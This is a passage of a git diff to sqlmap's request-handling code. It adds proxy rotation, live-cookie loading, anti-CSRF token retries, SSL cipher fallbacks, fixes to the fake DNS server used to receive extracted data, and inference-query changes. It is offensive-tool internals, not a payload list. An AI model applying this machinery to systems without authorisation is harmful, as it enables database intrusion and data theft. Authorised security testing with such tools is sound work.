request.add_unredirected_header(HTTP_HEADER.CONTENT_LENGTH, "%d" % len(data)) sel_host = host if request.has_proxy(): sel_host = _urllib.parse.urlsplit(request.get_selector()).netloc - if not request.has_header("Host"): - request.add_unredirected_header("Host", sel_host) + if not request.has_header(HTTP_HEADER.HOST): + request.add_unredirected_header(HTTP_HEADER.HOST, sel_host) for name, value in self.parent.addheaders: name = name.capitalize() if not request.has_header(name): diff --git a/lib/request/comparison.py b/lib/request/comparison.py index 90fb14c53b1..29202248c35 100644 --- a/lib/request/comparison.py +++ b/lib/request/comparison.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -63,13 +63,19 @@ def _comparison(page, headers, code, getRatioValue, pageLength): if any((conf.string, conf.notString, conf.regexp)): rawResponse = "%s%s" % (listToStrValue(_ for _ in headers.headers if not _.startswith("%s:" % URI_HTTP_HEADER)) if headers else "", page) - # String to match in page when the query is True and/or valid + # String to match in page when the query is True if conf.string: return conf.string in rawResponse - # String to match in page when the query is False and/or invalid + # String to match in page when the query is False if conf.notString: - return conf.notString not in rawResponse + if conf.notString in rawResponse: + return False + else: + if kb.errorIsNone and (wasLastResponseDBMSError() or wasLastResponseHTTPError()): + return None + else: + return True # Regular expression to match in page when the query is True and/or valid if conf.regexp: diff --git a/lib/request/connect.py b/lib/request/connect.py index a5eff110348..d32847c632d 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -1,12 +1,13 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import binascii import logging +import os import random import re import socket @@ -25,6 +26,7 @@ class WebSocketException(Exception): from lib.core.agent import agent from lib.core.common import asciifyUrl from lib.core.common import calculateDeltaSeconds +from lib.core.common import checkFile from lib.core.common import checkSameHost from lib.core.common import chunkSplitPostData from lib.core.common import clearConsoleLine @@ -62,6 +64,7 @@ class WebSocketException(Exception): from lib.core.convert import getBytes from lib.core.convert import getText from lib.core.convert import getUnicode +from lib.core.data import cmdLineOptions from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -83,9 +86,9 @@ class WebSocketException(Exception): from lib.core.exception import SqlmapCompressionException from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapGenericException +from lib.core.exception import SqlmapSkipTargetException from lib.core.exception import SqlmapSyntaxException from lib.core.exception import SqlmapTokenException -from lib.core.exception import SqlmapUserQuitException from lib.core.exception import SqlmapValueException from lib.core.settings import ASTERISK_MARKER from lib.core.settings import BOUNDARY_BACKSLASH_MARKER @@ -100,6 +103,7 @@ class WebSocketException(Exception): from lib.core.settings import IS_WIN from lib.core.settings import JAVASCRIPT_HREF_REGEX from lib.core.settings import LARGE_READ_TRIM_MARKER +from lib.core.settings import LIVE_COOKIES_TIMEOUT from lib.core.settings import MAX_CONNECTION_READ_SIZE from lib.core.settings import MAX_CONNECTIONS_REGEX from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE @@ -219,7 +223,7 @@ def _connReadProxy(conn): try: part = conn.read(MAX_CONNECTION_READ_SIZE) except AssertionError: - part = "" + part = b"" if len(part) == MAX_CONNECTION_READ_SIZE: warnMsg = "large response detected. This could take a while" @@ -281,6 +285,15 @@ def getPage(**kwargs): kb.requestCounter += 1 threadData.lastRequestUID = kb.requestCounter + if conf.proxyFreq: + if kb.requestCounter % conf.proxyFreq == 1: + conf.proxy = None + + warnMsg = "changing proxy" + logger.warn(warnMsg) + + setHTTPHandlers() + if conf.dummy or conf.murphyRate and randomInt() % conf.murphyRate == 0: if conf.murphyRate: time.sleep(randomInt() % (MAX_MURPHY_SLEEP_TIME + 1)) @@ -292,6 +305,30 @@ def getPage(**kwargs): return page, headers, code + if conf.liveCookies: + with kb.locks.liveCookies: + if not checkFile(conf.liveCookies, raiseOnError=False) or os.path.getsize(conf.liveCookies) == 0: + warnMsg = "[%s] [WARNING] live cookies file '%s' is empty or non-existent. Waiting for timeout (%d seconds)" % (time.strftime("%X"), conf.liveCookies, LIVE_COOKIES_TIMEOUT) + dataToStdout(warnMsg) + + valid = False + for _ in xrange(LIVE_COOKIES_TIMEOUT): + if checkFile(conf.liveCookies, raiseOnError=False) and os.path.getsize(conf.liveCookies) > 0: + valid = True + break + else: + dataToStdout('.') + time.sleep(1) + + dataToStdout("\n") + + if not valid: + errMsg = "problem occurred while loading cookies from file '%s'" % conf.liveCookies + raise SqlmapValueException(errMsg) + + cookie = openFile(conf.liveCookies).read().strip() + cookie = re.sub(r"(?i)\ACookie:\s*", "", cookie) + if multipart: post = multipart else: @@ -493,14 +530,24 @@ class _(dict): logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg) else: - if method and method not in (HTTPMETHOD.GET, HTTPMETHOD.POST): + if target and cmdLineOptions.method or method and method not in (HTTPMETHOD.GET, HTTPMETHOD.POST): req = MethodRequest(url, post, headers) - req.set_method(method) + req.set_method(cmdLineOptions.method or method) elif url is not None: req = _urllib.request.Request(url, post, headers) else: return None, None, None + for function in kb.preprocessFunctions: + try: + function(req) + except Exception as ex: + errMsg = "error occurred while running preprocess " + errMsg += "function '%s' ('%s')" % (function.__name__, getSafeExString(ex)) + raise SqlmapGenericException(errMsg) + else: + post, headers = req.data, req.headers + requestHeaders += "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if hasattr(key, "capitalize") else key), getUnicode(value)) for (key, value) in req.header_items()]) if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj: @@ -539,7 +586,7 @@ class _(dict): conn = _urllib.request.urlopen(req) if not kb.authHeader and getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) and (conf.authType or "").lower() == AUTH_TYPE.BASIC.lower(): - kb.authHeader = getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) + kb.authHeader = getUnicode(getRequestHeader(req, HTTP_HEADER.AUTHORIZATION)) if not kb.proxyAuthHeader and getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION): kb.proxyAuthHeader = getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION) @@ -560,6 +607,10 @@ class _(dict): code = (code or conn.code) if conn.code == kb.originalCode else conn.code # do not override redirection code (for comparison purposes) responseHeaders = conn.info() responseHeaders[URI_HTTP_HEADER] = conn.geturl() + + if hasattr(conn, "redurl"): + responseHeaders[HTTP_HEADER.LOCATION] = conn.redurl + patchHeaders(responseHeaders) kb.serverHeader = responseHeaders.get(HTTP_HEADER.SERVER, kb.serverHeader) else: @@ -584,15 +635,14 @@ class _(dict): refresh = extractRegexResult(JAVASCRIPT_HREF_REGEX, page) if refresh: - debugMsg = "got Javascript redirect request" + debugMsg = "got Javascript redirect logic" logger.debug(debugMsg) if refresh: if kb.alwaysRefresh is None: - msg = "got a refresh request " + msg = "got a refresh intent " msg += "(redirect like response common to login pages) to '%s'. " % refresh - msg += "Do you want to apply the refresh " - msg += "from now on (or stay on the original page)? [Y/n]" + msg += "Do you want to apply it from now on? [Y/n]" kb.alwaysRefresh = readInput(msg, default='Y', boolean=True) @@ -667,7 +717,7 @@ class _(dict): responseMsg += "[#%d] (%s %s):\r\n" % (threadData.lastRequestUID, code, status) if responseHeaders: - logHeaders = getUnicode("".join(responseHeaders.headers).strip()) + logHeaders = "".join(getUnicode(responseHeaders.headers)).strip() logHTTPTraffic(requestMsg, "%s%s\r\n\r\n%s" % (responseMsg, logHeaders, (page or "")[:MAX_CONNECTION_READ_SIZE]), start, time.time()) @@ -788,7 +838,7 @@ class _(dict): kb.connErrorChoice = readInput(message, default='N', boolean=True) if kb.connErrorChoice is False: - raise SqlmapUserQuitException + raise SqlmapSkipTargetException if "forcibly closed" in tbMsg: logger.critical(warnMsg) @@ -816,11 +866,11 @@ class _(dict): else: page = getUnicode(page) - for function in kb.preprocessFunctions: + for function in kb.postprocessFunctions: try: page, responseHeaders, code = function(page, responseHeaders, code) except Exception as ex: - errMsg = "error occurred while running preprocess " + errMsg = "error occurred while running postprocess " errMsg += "function '%s' ('%s')" % (function.__name__, getSafeExString(ex)) raise SqlmapGenericException(errMsg) @@ -847,7 +897,7 @@ class _(dict): responseMsg += "[#%d] (%s %s):\r\n" % (threadData.lastRequestUID, code, status) if responseHeaders: - logHeaders = getUnicode("".join(responseHeaders.headers).strip()) + logHeaders = "".join(getUnicode(responseHeaders.headers)).strip() logHTTPTraffic(requestMsg, "%s%s\r\n\r\n%s" % (responseMsg, logHeaders, (page or "")[:MAX_CONNECTION_READ_SIZE]), start, time.time()) @@ -1046,6 +1096,8 @@ def queryPage(value=None, place=None, content=False, getRatioValue=False, silent auxHeaders[value.split(',')[0]] = value.split(',', 1)[-1] if conf.csrfToken: + token = AttribDict() + def _adjustParameter(paramString, parameter, newValue): retVal = paramString @@ -1062,65 +1114,78 @@ def _adjustParameter(paramString, parameter, newValue): return retVal - token = AttribDict() - page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, data=conf.data if conf.csrfUrl == conf.url else None, method=conf.csrfMethod or (conf.method if conf.csrfUrl == conf.url else None), cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST)) - page = urldecode(page) # for anti-CSRF tokens with special characters in their name (e.g. 'foo:bar=...') + for attempt in xrange(conf.csrfRetries + 1): + if token: + break - match = re.search(r"(?i)]+\bname=[\"']?(?P%s)\b[^>]*\bvalue=[\"']?(?P[^>'\"]*)" % conf.csrfToken, page or "", re.I) + if attempt > 0: + warnMsg = "unable to find anti-CSRF token '%s' at '%s'" % (conf.csrfToken._original, conf.csrfUrl or conf.url) + warnMsg += ". sqlmap is going to retry the request" + logger.warn(warnMsg) + + page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, data=conf.data if conf.csrfUrl == conf.url else None, method=conf.csrfMethod or (conf.method if conf.csrfUrl == conf.url else None), cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST)) + page = urldecode(page) # for anti-CSRF tokens with special characters in their name (e.g. 'foo:bar=...') - if not match: - match = re.search(r"(?i)]+\bvalue=[\"']?(?P[^>'\"]*)[\"']?[^>]*\bname=[\"']?(?P%s)\b" % conf.csrfToken, page or "", re.I) + match = re.search(r"(?i)]+\bname=[\"']?(?P%s)\b[^>]*\bvalue=[\"']?(?P[^>'\"]*)" % conf.csrfToken, page or "", re.I) if not match: - match = re.search(r"(?P%s)[\"']:[\"'](?P[^\"']+)" % conf.csrfToken, page or "", re.I) + match = re.search(r"(?i)]+\bvalue=[\"']?(?P[^>'\"]*)[\"']?[^>]*\bname=[\"']?(?P%s)\b" % conf.csrfToken, page or "", re.I) if not match: - match = re.search(r"\b(?P%s)\s*[:=]\s*(?P\w+)" % conf.csrfToken, str(headers), re.I) + match = re.search(r"(?P%s)[\"']:[\"'](?P[^\"']+)" % conf.csrfToken, page or "", re.I) if not match: - match = re.search(r"\b(?P%s)\s*=\s*['\"]?(?P[^;'\"]+)" % conf.csrfToken, page or "", re.I) + match = re.search(r"\b(?P%s)\s*[:=]\s*(?P\w+)" % conf.csrfToken, getUnicode(headers), re.I) - if match: - token.name, token.value = match.group("name"), match.group("value") + if not match: + match = re.search(r"\b(?P%s)\s*=\s*['\"]?(?P[^;'\"]+)" % conf.csrfToken, page or "", re.I) + + if not match: + match = re.search(r"%s)[\"']?[^>]+\b(value|content)=[\"']?(?P[^>\"']+)" % conf.csrfToken, page or "", re.I) - match = re.search(r"String\.fromCharCode\(([\d+, ]+)\)", token.value) if match: - token.value = "".join(_unichr(int(_)) for _ in match.group(1).replace(' ', "").split(',')) + token.name, token.value = match.group("name"), match.group("value") - if not token: - if conf.csrfUrl and conf.csrfToken and conf.csrfUrl != conf.url and code == _http_client.OK: - if headers and "text/plain" in headers.get(HTTP_HEADER.CONTENT_TYPE, ""): - token.name = conf.csrfToken - token.value = page - - if not token and conf.cj and any(re.search(conf.csrfToken, _.name, re.I) for _ in conf.cj): - for _ in conf.cj: - if re.search(conf.csrfToken, _.name, re.I): - token.name, token.value = _.name, _.value - if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))): - if post: - post = "%s%s%s=%s" % (post, conf.paramDel or DEFAULT_GET_POST_DELIMITER, token.name, token.value) - elif get: - get = "%s%s%s=%s" % (get, conf.paramDel or DEFAULT_GET_POST_DELIMITER, token.name, token.value) - else: - get = "%s=%s" % (token.name, token.value) - break + match = re.search(r"String\.fromCharCode\(([\d+, ]+)\)", token.value) + if match: + token.value = "".join(_unichr(int(_)) for _ in match.group(1).replace(' ', "").split(',')) if not token: - errMsg = "anti-CSRF token '%s' can't be found at '%s'" % (conf.csrfToken._original, conf.csrfUrl or conf.url) - if not conf.csrfUrl: - errMsg += ". You can try to rerun by providing " - errMsg += "a valid value for option '--csrf-url'" - raise SqlmapTokenException(errMsg) + if conf.csrfUrl and conf.csrfToken and conf.csrfUrl != conf.url and code == _http_client.OK: + if headers and "text/plain" in headers.get(HTTP_HEADER.CONTENT_TYPE, ""): + token.name = conf.csrfToken + token.value = page + + if not token and conf.cj and any(re.search(conf.csrfToken, _.name, re.I) for _ in conf.cj): + for _ in conf.cj: + if re.search(conf.csrfToken, _.name, re.I): + token.name, token.value = _.name, _.value + if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))): + if post: + post = "%s%s%s=%s" % (post, conf.paramDel or DEFAULT_GET_POST_DELIMITER, token.name, token.value) + elif get: + get = "%s%s%s=%s" % (get, conf.paramDel or DEFAULT_GET_POST_DELIMITER, token.name, token.value) + else: + get = "%s=%s" % (token.name, token.value) + break + + if not token: + errMsg = "anti-CSRF token '%s' can't be found at '%s'" % (conf.csrfToken._original, conf.csrfUrl or conf.url) + if not conf.csrfUrl: + errMsg += ". You can try to rerun by providing " + errMsg += "a valid value for option '--csrf-url'" + raise SqlmapTokenException(errMsg) if token: token.value = token.value.strip("'\"") - for candidate in (PLACE.GET, PLACE.POST): + for candidate in (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST, PLACE.URI): if candidate in conf.parameters: - if candidate == PLACE.GET and get: + if candidate == PLACE.URI and uri: + uri = _adjustParameter(uri, token.name, token.value) + elif candidate == PLACE.GET and get: get = _adjustParameter(get, token.name, token.value) - elif candidate == PLACE.POST and post: + elif candidate in (PLACE.POST, PLACE.CUSTOM_POST) and post: post = _adjustParameter(post, token.name, token.value) for i in xrange(len(conf.httpHeaders)): @@ -1151,7 +1216,7 @@ def _randomizeParameter(paramString, randomParameter): if conf.evalCode: delimiter = conf.paramDel or DEFAULT_GET_POST_DELIMITER - variables = {"uri": uri, "lastPage": threadData.lastPage, "_locals": locals()} + variables = {"uri": uri, "lastPage": threadData.lastPage, "_locals": locals(), "cookie": cookie} originals = {} if not get and PLACE.URI in conf.parameters: @@ -1219,10 +1284,11 @@ def _randomizeParameter(paramString, randomParameter): variables[unsafeVariableNaming(variable)] = value uri = variables["uri"] + cookie = variables["cookie"] for name, value in variables.items(): if name != "__builtins__" and originals.get(name, "") != value: - if isinstance(value, (int, six.string_types)): + if isinstance(value, (int, float, six.string_types, six.binary_type)): found = False value = getUnicode(value, UNICODE_ENCODING) diff --git a/lib/request/direct.py b/lib/request/direct.py index ea64470f348..d1cdfa5606a 100644 --- a/lib/request/direct.py +++ b/lib/request/direct.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -45,8 +45,9 @@ def direct(query, content=True): break if select: - if not query.upper().startswith("SELECT "): + if re.search(r"(?i)\ASELECT ", query) is None: query = "SELECT %s" % query + if conf.binaryFields: for field in conf.binaryFields: field = field.strip() @@ -58,7 +59,7 @@ def direct(query, content=True): output = hashDBRetrieve(query, True, True) start = time.time() - if not select and "EXEC " not in query.upper(): + if not select and re.search(r"(?i)\bEXEC ", query) is None: timeout(func=conf.dbmsConnector.execute, args=(query,), duration=conf.timeout, default=None) elif not (output and ("%soutput" % conf.tablePrefix) not in query and ("%sfile" % conf.tablePrefix) not in query): output, state = timeout(func=conf.dbmsConnector.select, args=(query,), duration=conf.timeout, default=None) diff --git a/lib/request/dns.py b/lib/request/dns.py index 7f6c914d1fe..5f275286b4b 100644 --- a/lib/request/dns.py +++ b/lib/request/dns.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -11,71 +11,85 @@ import os import re import socket +import struct import threading import time class DNSQuery(object): """ - Used for making fake DNS resolution responses based on received - raw request - - Reference(s): - http://code.activestate.com/recipes/491264-mini-fake-dns-server/ - https://code.google.com/p/marlon-tools/source/browse/tools/dnsproxy/dnsproxy.py + >>> DNSQuery(b'|K\\x01 \\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x01\\x03www\\x06google\\x03com\\x00\\x00\\x01\\x00\\x01\\x00\\x00)\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x0c\\x00\\n\\x00\\x08O4|Np!\\x1d\\xb3')._query == b"www.google.com." + True + >>> DNSQuery(b'\\x00')._query == b"" + True """ def __init__(self, raw): self._raw = raw - self._query = "" + self._query = b"" - type_ = (ord(raw[2]) >> 3) & 15 # Opcode bits + try: + type_ = (ord(raw[2:3]) >> 3) & 15 # Opcode bits - if type_ == 0: # Standard query - i = 12 - j = ord(raw[i]) + if type_ == 0: # Standard query + i = 12 + j = ord(raw[i:i + 1]) - while j != 0: - self._query += raw[i + 1:i + j + 1] + '.' - i = i + j + 1 - j = ord(raw[i]) + while j != 0: + self._query += raw[i + 1:i + j + 1] + b'.' + i = i + j + 1 + j = ord(raw[i:i + 1]) + except TypeError: + pass def response(self, resolution): """ Crafts raw DNS resolution response packet """ - retVal = "" + retVal = b"" if self._query: - retVal += self._raw[:2] # Transaction ID - retVal += "\x85\x80" # Flags (Standard query response, No error) - retVal += self._raw[4:6] + self._raw[4:6] + "\x00\x00\x00\x00" # Questions and Answers Counts - retVal += self._raw[12:(12 + self._raw[12:].find("\x00") + 5)] # Original Domain Name Query - retVal += "\xc0\x0c" # Pointer to domain name - retVal += "\x00\x01" # Type A - retVal += "\x00\x01" # Class IN - retVal += "\x00\x00\x00\x20" # TTL (32 seconds) - retVal += "\x00\x04" # Data length - retVal += "".join(chr(int(_)) for _ in resolution.split('.')) # 4 bytes of IP + retVal += self._raw[:2] # Transaction ID + retVal += b"\x85\x80" # Flags (Standard query response, No error) + retVal += self._raw[4:6] + self._raw[4:6] + b"\x00\x00\x00\x00" # Questions and Answers Counts + retVal += self._raw[12:(12 + self._raw[12:].find(b"\x00") + 5)] # Original Domain Name Query + retVal += b"\xc0\x0c" # Pointer to domain name + retVal += b"\x00\x01" # Type A + retVal += b"\x00\x01" # Class IN + retVal += b"\x00\x00\x00\x20" # TTL (32 seconds) + retVal += b"\x00\x04" # Data length + retVal += b"".join(struct.pack('B', int(_)) for _ in resolution.split('.')) # 4 bytes of IP return retVal class DNSServer(object): + """ + Used for making fake DNS resolution responses based on received + raw request + + Reference(s): + http://code.activestate.com/recipes/491264-mini-fake-dns-server/ + https://code.google.com/p/marlon-tools/source/browse/tools/dnsproxy/dnsproxy.py + """ + def __init__(self): self._check_localhost() self._requests = [] self._lock = threading.Lock() + try: self._socket = socket._orig_socket(socket.AF_INET, socket.SOCK_DGRAM) except AttributeError: self._socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + self._socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self._socket.bind(("", 53)) self._running = False self._initialized = False def _check_localhost(self): - response = "" + response = b"" + try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.connect(("", 53)) @@ -85,7 +99,7 @@ def _check_localhost(self): pass finally: if response and b"google" in response: - raise socket.error("another DNS service already running on *:53") + raise socket.error("another DNS service already running on '0.0.0.0:53'") def pop(self, prefix=None, suffix=None): """ @@ -95,11 +109,17 @@ def pop(self, prefix=None, suffix=None): retVal = None + if prefix and hasattr(prefix, "encode"): + prefix = prefix.encode() + + if suffix and hasattr(suffix, "encode"): + suffix = suffix.encode() + with self._lock: for _ in self._requests: - if prefix is None and suffix is None or re.search(r"%s\..+\.%s" % (prefix, suffix), _, re.I): - retVal = _ + if prefix is None and suffix is None or re.search(b"%s\\..+\\.%s" % (prefix, suffix), _, re.I): self._requests.remove(_) + retVal = _.decode() break return retVal diff --git a/lib/request/httpshandler.py b/lib/request/httpshandler.py index c7cb41abe7d..a1ce15ef19f 100644 --- a/lib/request/httpshandler.py +++ b/lib/request/httpshandler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -11,6 +11,8 @@ from lib.core.common import filterNone from lib.core.common import getSafeExString +from lib.core.compat import xrange +from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.exception import SqlmapConnectionException @@ -27,6 +29,7 @@ _protocols = filterNone(getattr(ssl, _, None) for _ in ("PROTOCOL_TLSv1_2", "PROTOCOL_TLSv1_1", "PROTOCOL_TLSv1", "PROTOCOL_SSLv3", "PROTOCOL_SSLv23", "PROTOCOL_SSLv2")) _lut = dict((getattr(ssl, _), _) for _ in dir(ssl) if _.startswith("PROTOCOL_")) +_contexts = {} class HTTPSConnection(_http_client.HTTPSConnection): """ @@ -36,6 +39,14 @@ class HTTPSConnection(_http_client.HTTPSConnection): """ def __init__(self, *args, **kwargs): + # NOTE: Dirty patch for https://bugs.python.org/issue38251 / https://github.com/sqlmapproject/sqlmap/issues/4158 + if hasattr(ssl, "_create_default_https_context"): + if None not in _contexts: + _contexts[None] = ssl._create_default_https_context() + kwargs["context"] = _contexts[None] + + self.retrying = False + _http_client.HTTPSConnection.__init__(self, *args, **kwargs) def connect(self): @@ -50,15 +61,22 @@ def create_sock(): # Reference(s): https://docs.python.org/2/library/ssl.html#ssl.SSLContext # https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni - if re.search(r"\A[\d.]+\Z", self.host) is None and kb.tlsSNI.get(self.host) is not False and hasattr(ssl, "SSLContext"): - for protocol in [_ for _ in _protocols if _ >= ssl.PROTOCOL_TLSv1]: + if re.search(r"\A[\d.]+\Z", conf.hostname or "") is None and kb.tlsSNI.get(conf.hostname) is not False and hasattr(ssl, "SSLContext"): + for protocol in (_ for _ in _protocols if _ >= ssl.PROTOCOL_TLSv1): try: sock = create_sock() - context = ssl.SSLContext(protocol) - _ = context.wrap_socket(sock, do_handshake_on_connect=True, server_hostname=self.host) - if _: + if protocol not in _contexts: + _contexts[protocol] = ssl.SSLContext(protocol) + try: + # Reference(s): https://askubuntu.com/a/1263098 + # https://askubuntu.com/a/1250807 + _contexts[protocol].set_ciphers("DEFAULT@SECLEVEL=1") + except ssl.SSLError: + pass + result = _contexts[protocol].wrap_socket(sock, do_handshake_on_connect=True, server_hostname=conf.hostname) + if result: success = True - self.sock = _ + self.sock = result _protocols.remove(protocol) _protocols.insert(0, protocol) break @@ -68,8 +86,8 @@ def create_sock(): self._tunnel_host = None logger.debug("SSL connection error occurred for '%s' ('%s')" % (_lut[protocol], getSafeExString(ex))) - if kb.tlsSNI.get(self.host) is None: - kb.tlsSNI[self.host] = success + if kb.tlsSNI.get(conf.hostname) is None: + kb.tlsSNI[conf.hostname] = success if not success: for protocol in _protocols: @@ -93,7 +111,21 @@ def create_sock(): # Reference: https://docs.python.org/2/library/ssl.html if distutils.version.LooseVersion(PYVERSION) < distutils.version.LooseVersion("2.7.9"): errMsg += " (please retry with Python >= 2.7.9)" + + if kb.sslSuccess and not self.retrying: + self.retrying = True + + for _ in xrange(conf.retries): + try: + self.connect() + except SqlmapConnectionException: + pass + else: + return + raise SqlmapConnectionException(errMsg) + else: + kb.sslSuccess = True class HTTPSHandler(_urllib.request.HTTPSHandler): def https_open(self, req): diff --git a/lib/request/inject.py b/lib/request/inject.py index 579a1e7f64d..66871a96033 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -12,6 +12,7 @@ from lib.core.agent import agent from lib.core.bigarray import BigArray +from lib.core.common import applyFunctionRecursively from lib.core.common import Backend from lib.core.common import calculateDeltaSeconds from lib.core.common import cleanQuery @@ -105,10 +106,12 @@ def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not re.search(r"(COUNT|LTRIM)\(", expression, re.I) and not (timeBasedCompare and not kb.forceThreads): if field and re.search(r"\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I): - expression = "SELECT %s FROM (%s)" % (field, expression) - - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): - expression += " AS %s" % randomStr(lowercase=True, seed=hash(expression)) + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.MONETDB, DBMS.VERTICA, DBMS.CRATEDB, DBMS.CUBRID): + alias = randomStr(lowercase=True, seed=hash(expression)) + expression = "SELECT %s FROM (%s)" % (field if '.' not in field else re.sub(r".+\.", "%s." % alias, field), expression) # Note: MonetDB as a prime example + expression += " AS %s" % alias + else: + expression = "SELECT %s FROM (%s)" % (field, expression) if field and conf.hexConvert or conf.binaryFields and field in conf.binaryFields: nulledCastedField = agent.nullAndCastField(field) @@ -124,7 +127,7 @@ def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar kb.inferenceMode = False if not kb.bruteMode: - debugMsg = "performed %d queries in %.2f seconds" % (count, calculateDeltaSeconds(start)) + debugMsg = "performed %d quer%s in %.2f seconds" % (count, 'y' if count == 1 else "ies", calculateDeltaSeconds(start)) logger.debug(debugMsg) return value @@ -284,7 +287,7 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char try: try: - for num in xrange(startLimit, stopLimit): + for num in xrange(startLimit or 0, stopLimit or 0): output = _goInferenceFields(expression, expressionFields, expressionFieldsList, payload, num=num, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump) outputs.append(output) except OverflowError: @@ -410,6 +413,12 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser kb.forcePartialUnion = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector[8] fallback = not expected and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL and not kb.forcePartialUnion + if expected == EXPECTED.BOOL: + # Note: some DBMSes (e.g. Altibase) don't support implicit conversion of boolean check result during concatenation with prefix and suffix (e.g. 'qjjvq'||(1=1)||'qbbbq') + + if not any(_ in forgeCaseExpression for _ in ("SELECT", "CASE")): + forgeCaseExpression = "(CASE WHEN (%s) THEN '1' ELSE '0' END)" % forgeCaseExpression + try: value = _goUnion(forgeCaseExpression if expected == EXPECTED.BOOL else query, unpack, dump) except SqlmapConnectionException: @@ -491,12 +500,32 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser kb.safeCharEncode = False - if not any((kb.testMode, conf.dummy, conf.offline)) and value is None and Backend.getDbms() and conf.dbmsHandler and not conf.noCast and not conf.hexConvert: + if not any((kb.testMode, conf.dummy, conf.offline, conf.noCast, conf.hexConvert)) and value is None and Backend.getDbms() and conf.dbmsHandler and kb.fingerprinted: warnMsg = "in case of continuous data retrieval problems you are advised to try " warnMsg += "a switch '--no-cast' " - warnMsg += "or switch '--hex'" if Backend.getIdentifiedDbms() not in (DBMS.ACCESS, DBMS.FIREBIRD) else "" + warnMsg += "or switch '--hex'" if hasattr(queries[Backend.getIdentifiedDbms()], "hex") else "" singleTimeWarnMessage(warnMsg) + # Dirty patch (MSSQL --binary-fields with 0x31003200...) + if Backend.isDbms(DBMS.MSSQL) and conf.binaryFields: + def _(value): + if isinstance(value, six.text_type): + if value.startswith(u"0x"): + value = value[2:] + if value and len(value) % 4 == 0: + candidate = "" + for i in xrange(len(value)): + if i % 4 < 2: + candidate += value[i] + elif value[i] != '0': + candidate = None + break + if candidate: + value = candidate + return value + + value = applyFunctionRecursively(value, _) + # Dirty patch (safe-encoded unicode characters) if isinstance(value, six.text_type) and "\\x" in value: try: diff --git a/lib/request/methodrequest.py b/lib/request/methodrequest.py index 318a87a8462..e596f95283f 100644 --- a/lib/request/methodrequest.py +++ b/lib/request/methodrequest.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/pkihandler.py b/lib/request/pkihandler.py index 174c4495d0a..5dafca3f0d4 100644 --- a/lib/request/pkihandler.py +++ b/lib/request/pkihandler.py @@ -1,7 +1,7 @@ #!/usr/bin/env 